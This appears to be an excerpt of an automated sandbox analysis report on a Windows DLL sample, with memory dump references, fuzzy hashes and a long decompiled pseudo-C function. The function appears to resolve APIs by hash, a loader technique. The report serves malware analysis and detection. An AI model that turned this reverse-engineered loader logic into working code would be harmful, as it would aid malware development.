                                                                                                      • RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,60A28C5C,5E0AFAA3,60A28C5C,1C6EF387,?,?,00000000,6EC3DE09,?,?), ref: 6EC43692
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: CreateHeap
                                                                                                      • String ID:
                                                                                                      • API String ID: 10892065-0
                                                                                                      • Opcode ID: 0ed99175eb1361322847df0e8725939568ccca576b54ce123dd03d5c135c85b8
                                                                                                      • Instruction ID: 16ac6af089847c5c4cc64618d90a62eb62db173d976e184f739a6b27359b9b5d
                                                                                                      • Opcode Fuzzy Hash: 0ed99175eb1361322847df0e8725939568ccca576b54ce123dd03d5c135c85b8
                                                                                                      • Instruction Fuzzy Hash: D6F0E934256292FDEB601AEFBC08D9A96A8FFD56A5F100D39F284A5104F6B08880D635
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      APIs
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.818558490.0000000000AF0000.00000040.00000001.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: a57c29dcdcfacf9aa16c2e0c098cfba5b3c29415035591b01ff4a810787df466
                                                                                                      • Instruction ID: e84a08c48c0d8744308b2838fe8c485c692e63c3370a9be50119c2abf9e60e5e
                                                                                                      • Opcode Fuzzy Hash: a57c29dcdcfacf9aa16c2e0c098cfba5b3c29415035591b01ff4a810787df466
                                                                                                      • Instruction Fuzzy Hash: 0C41D3B5E052198FDB04DFA8C5906AEBBF0FF48314F19856DE548AB340D775A841CF94
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Non-executed Functions

                                                                                                      C-Code - Quality: 31%
                                                                                                      			E6EC31494(intOrPtr __ecx, void* __edx, void* __eflags) {
                                                                                                      				intOrPtr _v40;
                                                                                                      				intOrPtr _v60;
                                                                                                      				void* _v68;
                                                                                                      				char _v72;
                                                                                                      				char _v76;
                                                                                                      				char _v80;
                                                                                                      				char _v84;
                                                                                                      				char _v88;
                                                                                                      				char _v92;
                                                                                                      				char _v96;
                                                                                                      				char _v100;
                                                                                                      				char _v104;
                                                                                                      				char _v108;
                                                                                                      				char _v112;
                                                                                                      				char _v116;
                                                                                                      				char _v120;
                                                                                                      				char _v124;
                                                                                                      				char _v128;
                                                                                                      				char _v132;
                                                                                                      				char _v136;
                                                                                                      				char _v140;
                                                                                                      				char _v144;
                                                                                                      				char _v148;
                                                                                                      				char _v152;
                                                                                                      				char _v156;
                                                                                                      				char _v160;
                                                                                                      				char _v164;
                                                                                                      				char _v168;
                                                                                                      				char _v172;
                                                                                                      				char _v176;
                                                                                                      				char _v180;
                                                                                                      				char _v184;
                                                                                                      				char _v188;
                                                                                                      				char _v192;
                                                                                                      				char _v196;
                                                                                                      				char _v200;
                                                                                                      				char _v204;
                                                                                                      				char _v208;
                                                                                                      				char _v212;
                                                                                                      				char _v216;
                                                                                                      				char _v220;
                                                                                                      				char _v224;
                                                                                                      				char _v228;
                                                                                                      				char _v232;
                                                                                                      				char _v236;
                                                                                                      				char _v240;
                                                                                                      				char _v244;
                                                                                                      				char _v248;
                                                                                                      				char _v252;
                                                                                                      				char _v256;
                                                                                                      				char _v260;
                                                                                                      				char _v264;
                                                                                                      				char _v268;
                                                                                                      				char _v272;
                                                                                                      				char _v276;
                                                                                                      				void* _v288;
                                                                                                      				intOrPtr _v292;
                                                                                                      				char _v296;
                                                                                                      				char _v300;
                                                                                                      				char _v304;
                                                                                                      				char _v308;
                                                                                                      				char _v312;
                                                                                                      				char _v316;
                                                                                                      				char _v320;
                                                                                                      				char _v324;
                                                                                                      				char _v340;
                                                                                                      				char _v344;
                                                                                                      				char _v348;
                                                                                                      				char _v352;
                                                                                                      				char _v356;
                                                                                                      				void* __ebp;
                                                                                                      				void* _t282;
                                                                                                      				intOrPtr* _t310;
                                                                                                      				intOrPtr* _t318;
                                                                                                      				intOrPtr* _t434;
                                                                                                      				intOrPtr* _t480;
                                                                                                      				void* _t481;
                                                                                                      
                                                                                                      				_t481 = __eflags;
                                                                                                      				_t480 =  &_v60;
                                                                                                      				_v40 = __ecx;
                                                                                                      				_v76 = 0;
                                                                                                      				E6EC3F584( &_v72, 0);
                                                                                                      				_v60 = 0xe7942190;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v76, E6EC3F4CC( &_v76) + 0x10);
                                                                                                      				E6EC3F4BC( &_v80, E6EC3F4CC( &_v80) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v88 = _v88 + 1;
                                                                                                      				_t325 =  &_v84;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v84 + 0x10)) = 0x4074eca0;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v84, E6EC3F4CC(_t325) + 0x10);
                                                                                                      				E6EC3F4BC( &_v88, E6EC3F4CC( &_v88) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v96 = _v96 + 1;
                                                                                                      				_t329 =  &_v92;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v92 + 0x10)) = 0x742aedea;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v92, E6EC3F4CC(_t329) + 0x10);
                                                                                                      				E6EC3F4BC( &_v96, E6EC3F4CC( &_v96) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v104 = _v104 + 1;
                                                                                                      				_t333 =  &_v100;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v100 + 0x10)) = 0x414fdf7;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v100, E6EC3F4CC(_t333) + 0x10);
                                                                                                      				E6EC3F4BC( &_v104, E6EC3F4CC( &_v104) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v112 = _v112 + 1;
                                                                                                      				_t337 =  &_v108;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v108 + 0x10)) = 0xdb41c42;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v108, E6EC3F4CC(_t337) + 0x10);
                                                                                                      				E6EC3F4BC( &_v112, E6EC3F4CC( &_v112) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v120 = _v120 + 1;
                                                                                                      				_t341 =  &_v116;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v116 + 0x10)) = 0xb84fc88b;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v116, E6EC3F4CC(_t341) + 0x10);
                                                                                                      				E6EC3F4BC( &_v120, E6EC3F4CC( &_v120) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v128 = _v128 + 1;
                                                                                                      				_t345 =  &_v124;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v124 + 0x10)) = 0x3937949d;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v124, E6EC3F4CC(_t345) + 0x10);
                                                                                                      				E6EC3F4BC( &_v128, E6EC3F4CC( &_v128) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v136 = _v136 + 1;
                                                                                                      				_t349 =  &_v132;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v132 + 0x10)) = 0x840d15ae;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v132, E6EC3F4CC(_t349) + 0x10);
                                                                                                      				E6EC3F4BC( &_v136, E6EC3F4CC( &_v136) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v144 = _v144 + 1;
                                                                                                      				_t353 =  &_v140;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v140 + 0x10)) = 0xe96b154c;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v140, E6EC3F4CC(_t353) + 0x10);
                                                                                                      				E6EC3F4BC( &_v144, E6EC3F4CC( &_v144) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v152 = _v152 + 1;
                                                                                                      				_t357 =  &_v148;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v148 + 0x10)) = 0x35237dcf;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v148, E6EC3F4CC(_t357) + 0x10);
                                                                                                      				E6EC3F4BC( &_v152, E6EC3F4CC( &_v152) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v160 = _v160 + 1;
                                                                                                      				_t361 =  &_v156;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v156 + 0x10)) = 0x60014416;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v156, E6EC3F4CC(_t361) + 0x10);
                                                                                                      				E6EC3F4BC( &_v160, E6EC3F4CC( &_v160) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v168 = _v168 + 1;
                                                                                                      				_t365 =  &_v164;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v164 + 0x10)) = 0x9376283c;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v164, E6EC3F4CC(_t365) + 0x10);
                                                                                                      				E6EC3F4BC( &_v168, E6EC3F4CC( &_v168) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v176 = _v176 + 1;
                                                                                                      				_t369 =  &_v172;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v172 + 0x10)) = 0x1c6ef387;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v172, E6EC3F4CC(_t369) + 0x10);
                                                                                                      				E6EC3F4BC( &_v176, E6EC3F4CC( &_v176) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v184 = _v184 + 1;
                                                                                                      				_t373 =  &_v180;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v180 + 0x10)) = 0x45b68b68;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v180, E6EC3F4CC(_t373) + 0x10);
                                                                                                      				E6EC3F4BC( &_v184, E6EC3F4CC( &_v184) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v192 = _v192 + 1;
                                                                                                      				_t377 =  &_v188;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v188 + 0x10)) = 0x5d116ac0;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v188, E6EC3F4CC(_t377) + 0x10);
                                                                                                      				E6EC3F4BC( &_v192, E6EC3F4CC( &_v192) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v200 = _v200 + 1;
                                                                                                      				_t381 =  &_v196;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v196 + 0x10)) = 0x4b736e38;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v196, E6EC3F4CC(_t381) + 0x10);
                                                                                                      				E6EC3F4BC( &_v200, E6EC3F4CC( &_v200) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v208 = _v208 + 1;
                                                                                                      				_t385 =  &_v204;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v204 + 0x10)) = 0x5e0afaa3;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v204, E6EC3F4CC(_t385) + 0x10);
                                                                                                      				E6EC3F4BC( &_v208, E6EC3F4CC( &_v208) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_t434 = _t480;
                                                                                                      				 *_t434 =  *_t434 + 1;
                                                                                                      				E6EC44200(0x60a28c5c, _t434);
                                                                                                      				E6EC3F4BC( &_v212, 0x10);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x450], xmm0");
                                                                                                      				E6EC3F4BC( &_v216, 0x20);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x458], xmm0");
                                                                                                      				E6EC3F4BC( &_v220, 0x30);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x460], xmm0");
                                                                                                      				E6EC3F4BC( &_v224, 0x40);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x468], xmm0");
                                                                                                      				E6EC3F4BC( &_v228, 0x50);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x470], xmm0");
                                                                                                      				E6EC3F4BC( &_v232, 0x60);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x478], xmm0");
                                                                                                      				E6EC3F4BC( &_v236, 0x70);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x480], xmm0");
                                                                                                      				E6EC3F4BC( &_v240, 0x80);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x488], xmm0");
                                                                                                      				E6EC3F4BC( &_v244, 0x90);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x490], xmm0");
                                                                                                      				E6EC3F4BC( &_v248, 0xa0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x498], xmm0");
                                                                                                      				E6EC3F4BC( &_v252, 0xb0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4a0], xmm0");
                                                                                                      				E6EC3F4BC( &_v256, 0xc0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4a8], xmm0");
                                                                                                      				E6EC3F4BC( &_v260, 0xd0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4b0], xmm0");
                                                                                                      				E6EC3F4BC( &_v264, 0xe0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4b8], xmm0");
                                                                                                      				E6EC3F4BC( &_v268, 0xf0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4c0], xmm0");
                                                                                                      				E6EC3F4BC( &_v272, 0x100);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4c8], xmm0");
                                                                                                      				_t282 = E6EC3F4BC( &_v276, 0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [esp], xmm0");
                                                                                                      				_v252 = E6EC31D2C(_v248, _t434, _t481, _t282, _t282);
                                                                                                      				_t318 = _t434;
                                                                                                      				E6EC3B27C( &_v248, _v256, _t481, _v252, _t318);
                                                                                                      				E6EC3F840( &_v296, _t481);
                                                                                                      				_v300 = 0;
                                                                                                      				_t410 =  &_v296;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v296 + 0x10)) = 0x3e0af193;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v296, E6EC3F4CC(_t410) + 0x10);
                                                                                                      				E6EC3F4BC( &_v300, E6EC3F4CC( &_v300) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v308 = _v308 + 1;
                                                                                                      				_t414 =  &_v304;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v304 + 0x10)) = 0xb5ca9b57;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v304, E6EC3F4CC(_t414) + 0x10);
                                                                                                      				E6EC3F4BC( &_v308, E6EC3F4CC( &_v308) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v316 = _v316 + 1;
                                                                                                      				_t418 =  &_v312;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v312 + 0x10)) = 0xdba36f91;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v312, E6EC3F4CC(_t418) + 0x10);
                                                                                                      				E6EC3F4BC( &_v316, E6EC3F4CC( &_v316) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				_v324 = _v324 + 1;
                                                                                                      				_t422 =  &_v320;
                                                                                                      				asm("pxor xmm0, xmm0");
                                                                                                      				 *((intOrPtr*)( &_v320 + 0x10)) = 0x2d1ecde3;
                                                                                                      				asm("movq [ecx+0x18], xmm0");
                                                                                                      				E6EC3F828( &_v320, E6EC3F4CC(_t422) + 0x10);
                                                                                                      				E6EC3F4BC( &_v324, E6EC3F4CC( &_v324) + 0xfffffff0);
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				asm("movsd");
                                                                                                      				 *_t480 =  *_t480 + 1;
                                                                                                      				_t310 = _t480;
                                                                                                      				_push(_t310);
                                                                                                      				_push(_t318);
                                                                                                      				_push(_v292);
                                                                                                      				_t154 = _t310 + 0x2c; // 0x2c
                                                                                                      				E6EC3B9FC(_t154,  *_t480);
                                                                                                      				E6EC3F4BC( &_v340, 0);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4d8], xmm0");
                                                                                                      				E6EC3F4BC( &_v344, 0x10);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4e0], xmm0");
                                                                                                      				E6EC3F4BC( &_v348, 0x20);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4d0], xmm0");
                                                                                                      				E6EC3F4BC( &_v352, 0x30);
                                                                                                      				asm("movq xmm0, [eax+0x8]");
                                                                                                      				asm("movq [ebp+0x4e8], xmm0");
                                                                                                      				E6EC3F654( &_v316);
                                                                                                      				return E6EC3F654( &_v356);
                                                                                                      			}
















































































                                                                                                      0x6ec31494
                                                                                                      0x6ec31498
                                                                                                      0x6ec3149d
                                                                                                      0x6ec314a3
                                                                                                      0x6ec314ab
                                                                                                      0x6ec314b0
                                                                                                      0x6ec314bc
                                                                                                      0x6ec314c0
                                                                                                      0x6ec314d2
                                                                                                      0x6ec314e8
                                                                                                      0x6ec314f3
                                                                                                      0x6ec314f4
                                                                                                      0x6ec314f5
                                                                                                      0x6ec314f6
                                                                                                      0x6ec314f7
                                                                                                      0x6ec314fa
                                                                                                      0x6ec314fe
                                                                                                      0x6ec31502
                                                                                                      0x6ec31509
                                                                                                      0x6ec3151b
                                                                                                      0x6ec31531
                                                                                                      0x6ec3153c
                                                                                                      0x6ec3153d
                                                                                                      0x6ec3153e
                                                                                                      0x6ec3153f
                                                                                                      0x6ec31540
                                                                                                      0x6ec31543
                                                                                                      0x6ec31547
                                                                                                      0x6ec3154b
                                                                                                      0x6ec31552
                                                                                                      0x6ec31564
                                                                                                      0x6ec3157a
                                                                                                      0x6ec31585
                                                                                                      0x6ec31586
                                                                                                      0x6ec31587
                                                                                                      0x6ec31588
                                                                                                      0x6ec31589
                                                                                                      0x6ec3158c
                                                                                                      0x6ec31590
                                                                                                      0x6ec31594
                                                                                                      0x6ec3159b
                                                                                                      0x6ec315ad
                                                                                                      0x6ec315c3
                                                                                                      0x6ec315ce
                                                                                                      0x6ec315cf
                                                                                                      0x6ec315d0
                                                                                                      0x6ec315d1
                                                                                                      0x6ec315d2
                                                                                                      0x6ec315d5
                                                                                                      0x6ec315d9
                                                                                                      0x6ec315dd
                                                                                                      0x6ec315e4
                                                                                                      0x6ec315f6
                                                                                                      0x6ec3160c
                                                                                                      0x6ec31617
                                                                                                      0x6ec31618
                                                                                                      0x6ec31619
                                                                                                      0x6ec3161a
                                                                                                      0x6ec3161b
                                                                                                      0x6ec3161e
                                                                                                      0x6ec31622
                                                                                                      0x6ec31626
                                                                                                      0x6ec3162d
                                                                                                      0x6ec3163f
                                                                                                      0x6ec31655
                                                                                                      0x6ec31660
                                                                                                      0x6ec31661
                                                                                                      0x6ec31662
                                                                                                      0x6ec31663
                                                                                                      0x6ec31664
                                                                                                      0x6ec31667
                                                                                                      0x6ec3166b
                                                                                                      0x6ec3166f
                                                                                                      0x6ec31676
                                                                                                      0x6ec31688
                                                                                                      0x6ec3169e
                                                                                                      0x6ec316a9
                                                                                                      0x6ec316aa
                                                                                                      0x6ec316ab
                                                                                                      0x6ec316ac
                                                                                                      0x6ec316ad
                                                                                                      0x6ec316b0
                                                                                                      0x6ec316b4
                                                                                                      0x6ec316b8
                                                                                                      0x6ec316bf
                                                                                                      0x6ec316d1
                                                                                                      0x6ec316e7
                                                                                                      0x6ec316f2
                                                                                                      0x6ec316f3
                                                                                                      0x6ec316f4
                                                                                                      0x6ec316f5
                                                                                                      0x6ec316f6
                                                                                                      0x6ec316f9
                                                                                                      0x6ec316fd
                                                                                                      0x6ec31701
                                                                                                      0x6ec31708
                                                                                                      0x6ec3171a
                                                                                                      0x6ec31730
                                                                                                      0x6ec3173b
                                                                                                      0x6ec3173c
                                                                                                      0x6ec3173d
                                                                                                      0x6ec3173e
                                                                                                      0x6ec3173f
                                                                                                      0x6ec31742
                                                                                                      0x6ec31746
                                                                                                      0x6ec3174a
                                                                                                      0x6ec31751
                                                                                                      0x6ec31763
                                                                                                      0x6ec31779
                                                                                                      0x6ec31784
                                                                                                      0x6ec31785
                                                                                                      0x6ec31786
                                                                                                      0x6ec31787
                                                                                                      0x6ec31788
                                                                                                      0x6ec3178b
                                                                                                      0x6ec3178f
                                                                                                      0x6ec31793
                                                                                                      0x6ec3179a
                                                                                                      0x6ec317ac
                                                                                                      0x6ec317c2
                                                                                                      0x6ec317cd
                                                                                                      0x6ec317ce
                                                                                                      0x6ec317cf
                                                                                                      0x6ec317d0
                                                                                                      0x6ec317d1
                                                                                                      0x6ec317d4
                                                                                                      0x6ec317d8
                                                                                                      0x6ec317dc
                                                                                                      0x6ec317e3
                                                                                                      0x6ec317f5
                                                                                                      0x6ec3180b
                                                                                                      0x6ec31816
                                                                                                      0x6ec31817
                                                                                                      0x6ec31818
                                                                                                      0x6ec31819
                                                                                                      0x6ec3181a
                                                                                                      0x6ec3181d
                                                                                                      0x6ec31821
                                                                                                      0x6ec31825
                                                                                                      0x6ec3182c
                                                                                                      0x6ec3183e
                                                                                                      0x6ec31854
                                                                                                      0x6ec3185f
                                                                                                      0x6ec31860
                                                                                                      0x6ec31861
                                                                                                      0x6ec31862
                                                                                                      0x6ec31863
                                                                                                      0x6ec31866
                                                                                                      0x6ec3186a
                                                                                                      0x6ec3186e
                                                                                                      0x6ec31875
                                                                                                      0x6ec31887
                                                                                                      0x6ec3189d
                                                                                                      0x6ec318a8
                                                                                                      0x6ec318a9
                                                                                                      0x6ec318aa
                                                                                                      0x6ec318ab
                                                                                                      0x6ec318ac
                                                                                                      0x6ec318af
                                                                                                      0x6ec318b3
                                                                                                      0x6ec318b7
                                                                                                      0x6ec318be
                                                                                                      0x6ec318d0
                                                                                                      0x6ec318e6
                                                                                                      0x6ec318f1
                                                                                                      0x6ec318f2
                                                                                                      0x6ec318f3
                                                                                                      0x6ec318f4
                                                                                                      0x6ec318f5
                                                                                                      0x6ec318f8
                                                                                                      0x6ec318fc
                                                                                                      0x6ec31900
                                                                                                      0x6ec31907
                                                                                                      0x6ec31919
                                                                                                      0x6ec3192f
                                                                                                      0x6ec3193a
                                                                                                      0x6ec3193b
                                                                                                      0x6ec3193c
                                                                                                      0x6ec3193d
                                                                                                      0x6ec3193e
                                                                                                      0x6ec31941
                                                                                                      0x6ec31945
                                                                                                      0x6ec31949
                                                                                                      0x6ec31950
                                                                                                      0x6ec31962
                                                                                                      0x6ec31978
                                                                                                      0x6ec31983
                                                                                                      0x6ec31984
                                                                                                      0x6ec31985
                                                                                                      0x6ec31986
                                                                                                      0x6ec3198c
                                                                                                      0x6ec3198f
                                                                                                      0x6ec31991
                                                                                                      0x6ec3199c
                                                                                                      0x6ec319a3
                                                                                                      0x6ec319ac
                                                                                                      0x6ec319b4
                                                                                                      0x6ec319bb
                                                                                                      0x6ec319c4
                                                                                                      0x6ec319cc
                                                                                                      0x6ec319d3
                                                                                                      0x6ec319dc
                                                                                                      0x6ec319e4
                                                                                                      0x6ec319eb
                                                                                                      0x6ec319f4
                                                                                                      0x6ec319fc
                                                                                                      0x6ec31a03
                                                                                                      0x6ec31a0c
                                                                                                      0x6ec31a14
                                                                                                      0x6ec31a1b
                                                                                                      0x6ec31a24
                                                                                                      0x6ec31a2c
                                                                                                      0x6ec31a36
                                                                                                      0x6ec31a3f
                                                                                                      0x6ec31a47
                                                                                                      0x6ec31a51
                                                                                                      0x6ec31a5a
                                                                                                      0x6ec31a62
                                                                                                      0x6ec31a6c
                                                                                                      0x6ec31a75
                                                                                                      0x6ec31a7d
                                                                                                      0x6ec31a87
                                                                                                      0x6ec31a90
                                                                                                      0x6ec31a98
                                                                                                      0x6ec31aa2
                                                                                                      0x6ec31aab
                                                                                                      0x6ec31ab3
                                                                                                      0x6ec31abd
                                                                                                      0x6ec31ac6
                                                                                                      0x6ec31ace
                                                                                                      0x6ec31ad8
                                                                                                      0x6ec31ae1
                                                                                                      0x6ec31ae9
                                                                                                      0x6ec31af3
                                                                                                      0x6ec31afc
                                                                                                      0x6ec31b04
                                                                                                      0x6ec31b0e
                                                                                                      0x6ec31b17
                                                                                                      0x6ec31b1f
                                                                                                      0x6ec31b26
                                                                                                      0x6ec31b2f
                                                                                                      0x6ec31b37
                                                                                                      0x6ec31b3e
                                                                                                      0x6ec31b43
                                                                                                      0x6ec31b51
                                                                                                      0x6ec31b55
                                                                                                      0x6ec31b64
                                                                                                      0x6ec31b6d
                                                                                                      0x6ec31b72
                                                                                                      0x6ec31b79
                                                                                                      0x6ec31b7d
                                                                                                      0x6ec31b81
                                                                                                      0x6ec31b88
                                                                                                      0x6ec31b9a
                                                                                                      0x6ec31bb0
                                                                                                      0x6ec31bbb
                                                                                                      0x6ec31bbc
                                                                                                      0x6ec31bbd
                                                                                                      0x6ec31bbe
                                                                                                      0x6ec31bbf
                                                                                                      0x6ec31bc2
                                                                                                      0x6ec31bc6
                                                                                                      0x6ec31bca
                                                                                                      0x6ec31bd1
                                                                                                      0x6ec31be3
